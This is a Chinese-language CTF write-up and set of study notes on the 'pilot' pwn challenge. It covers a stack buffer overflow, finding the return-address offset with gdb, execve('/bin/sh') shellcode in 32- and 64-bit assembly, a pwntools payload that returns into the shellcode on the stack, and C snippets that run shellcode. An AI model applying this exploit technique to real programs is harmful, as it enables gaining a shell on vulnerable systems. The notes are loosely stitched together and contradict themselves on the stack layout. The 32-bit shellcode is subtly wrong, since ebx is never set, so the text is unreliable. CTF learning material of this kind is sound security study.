shellcode-Pilot
题目描述
本人做的是实验吧上边的pilot;和CSAW上边的pilot完全一样。
首先下载文件
file pilot #看到是64bit-elf;一会使用ida64打开
checksec #发现没有开启任何保护;
使用IDA-pro打开后F5热键查看源码,可以看到程序运行流程。
前边很多很多行都是输出,关键在于下边看到的,它将buf数组的首地址给出,接下来可以向buf读入数据。buf实际大小应为0x20(32bytes),但是read()可以读入0x40(64bytes内容)。存在缓冲区溢出。
解题思路
程序会输出buf首地址!
两种途径可以找到攻击思路:
gdb调试
pattern_create
pattern_offset
gdb.attach()
gdb pilot
首先,gdb pilot;pattern_create100;r
可以看到程序发生segmentation fault;发生错误的位置为:ret;此时应当是返回到一个地址继续执行,但是由于此时栈顶不是一个可执行地址,因此发生错误。
而我们可以知道栈顶此时存放的应该是read()函数的Ret_address,我们使用pattern_offset可以确认offset=40;也就是说read()函数读入的40bytes之后的8byts是返回地址,而这个内容是可控的。
于是就可以构造Exploit代码,获取shell。
checksec发现没有开启栈不可执行,所以我们可以考虑构造shellcode,利用read()读入到stack中,然后通过控制ret_address到栈上,运行shellcode,从而获取shell权限。
对函数栈的理解
调用函数的过程大致是
1:将参数从右到左压入堆栈
2:将下一条指令的地址压入堆栈
3:函数内部的临时变量申请
4:函数调用完成,退出
内存栈区从高到低
[参数][返回地址][old ebp][函数内部变量空间]
#内存栈区分布情况会因系统和编译器有所不同
如上程序,如果函数内部变量空间比较小,执行read()时候,就会覆盖函数返回地址,导致程序流程变化
我们知道buf大小为0x20;[32bytes-40bytes]即为old-ebp;[40bytes-48bytes]即为返回地址。那么我们只需要构造小于40bytes的shellcode,然后将[40bytes-48bytes]赋值为buf首地址就可以了。
为了确认栈布局,可以通过IDA进行确认。
难点
shellcode构造
学习了一下如何构造shellcode;但最后还是看了别人的writeup解出来的题目。
exev()和exit()或者int 0x80等内容都比较好理解,但是最不明白的就是:
如何在不解析libc文件的情况下拿到字符串“/bin/sh”?
因为如果要通过libc二进制解析拿到”/bin/sh”的话,就需要offset、libc_base;这个时候还不如直接使用one_gadget,于是有会涉及到内存地址泄露…..等内容。
https://github.com/isislab/Shellcode这里给出了很多shellcode
我学习的writeup里边使用的是/Shellcode/64BitLocalBinSh/
shellcode构造学习
- 软中断
- Shellcode如果存储在堆或是栈的内存中,这样在shellcode执行时就不能出现\x00这样的阶段字符
- exceve函数是通过调用软中断int 0x80进入ring0
#include<unistd.h>
#include<stdlib.h>
char *buf[]={"/bin/sh",NULL};
void main()
{
execve(”/bin/sh“,buf,0);
exit(0);
}
构造思路主要是将上述代码中的汇编指令中的关键指令提取出来,构造与execve(“/bin/sh”,buf,NULL)功能等价的极简汇编代码段。
构造思路为:
使用int 0x80软中断调用
- eax系统调用号
- ebx第一个参数;ecx第二个参数;edx第三个参数...
汇编形式编写的shellcode代码:
section .text
global _start
_start:
xor eax,eax
push eax ;"\x00"
push 0x68732f2f ;"//sh"入栈
push 0x6e69622f ;"/bin"入栈
mov ebp,esp ;ebp=esp"/bin//sh"的地址
push eax ;"\0x00"入栈
push ebx ;"/bin//sh"地址入栈
mov ecx,esp ;ecx=esp为指针数组地址
xor edx,edx ;edx=0
mov al,0xb ;al=11 execve的系统调用号
int 0x80 ;软中断指令
本题shellcode解释
;; 021813
;; Evan Jensen 64bit localshellcode
;; RDI, RSI, RDX, RCX, R8, and R9 then stack
BITS 64
%include "short64.s"
global main
main:
xor eax, eax
push rax
mov rdi, 0x68732f2f6e69622f ;/bin//sh
push rdi
mov al, execve
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall
本题使用的shellcode不是使用int80软中断,而是调用了syscall()。
最后5行为syscall()对应的汇编代码。
技能学习
几乎没有保护……
所以可以构造栈上执行
内存地址泄露?
Shellcode?
如果是泄漏内存地址的话,setvbuf()是可以的 plt 0x400800 0x602018
read()地址肯定会需要…… ptl 400820 0x602028
readelf -l filename | grep stack
gcc -z execstack -o shellcode shellcode.c
disas main
x /10c $ebx
x /2wx $ecx
p $edx
p /x $eax
nasm -f elf retsh.asm
ld -o retsh retsh.o
objdump -d retsh
python -c 'print "A"*100' | ./pilot
gdb: run<<(python -c 'print "A"*100')
# read response until "Location:" string is found
r.recvuntil('Location:')
# store "Location" address in variable
address = r.recvuntil('\n')[:-1]
payload=shellcode+'A'*(40-len(shellcode))+p64(int(address,16))# append "Location" address as little-endian, 64-bit address话说是不是什么时候还会用到big-endians
因为调用函数的过程大致是
1:将参数从右到左压入堆栈
2:将下一条指令的地址压入堆栈
3:函数内部的临时变量申请
4:函数调用完成,退出
内存栈区从高到低
[参数][ebp][返回地址][函数内部变量空间]
如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化
segmentation fault. This error tells us that the process is attempting to access an invalid or restricted memory address.
[正常的字符串][jmp esp的地址][执行的代码(shellcode)]
//三种方式执行shellcode
//第一种
((void (*)())&shellcode)(); // 执行shellcode
//第二种
__asm
{
lea eax,shellcode;
jmp eax;
}
//第三种
__asm
{
lea eax, shellcode
push eax
ret
}
我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句:
pushl %ebp
movl %esp,%ebp
subl $8,%esp
parser = argparse.ArgumentParser(description='pwntools skeleton')
parser.add_argument('-l', action="store_true", default=False)
args = parser.parse_args()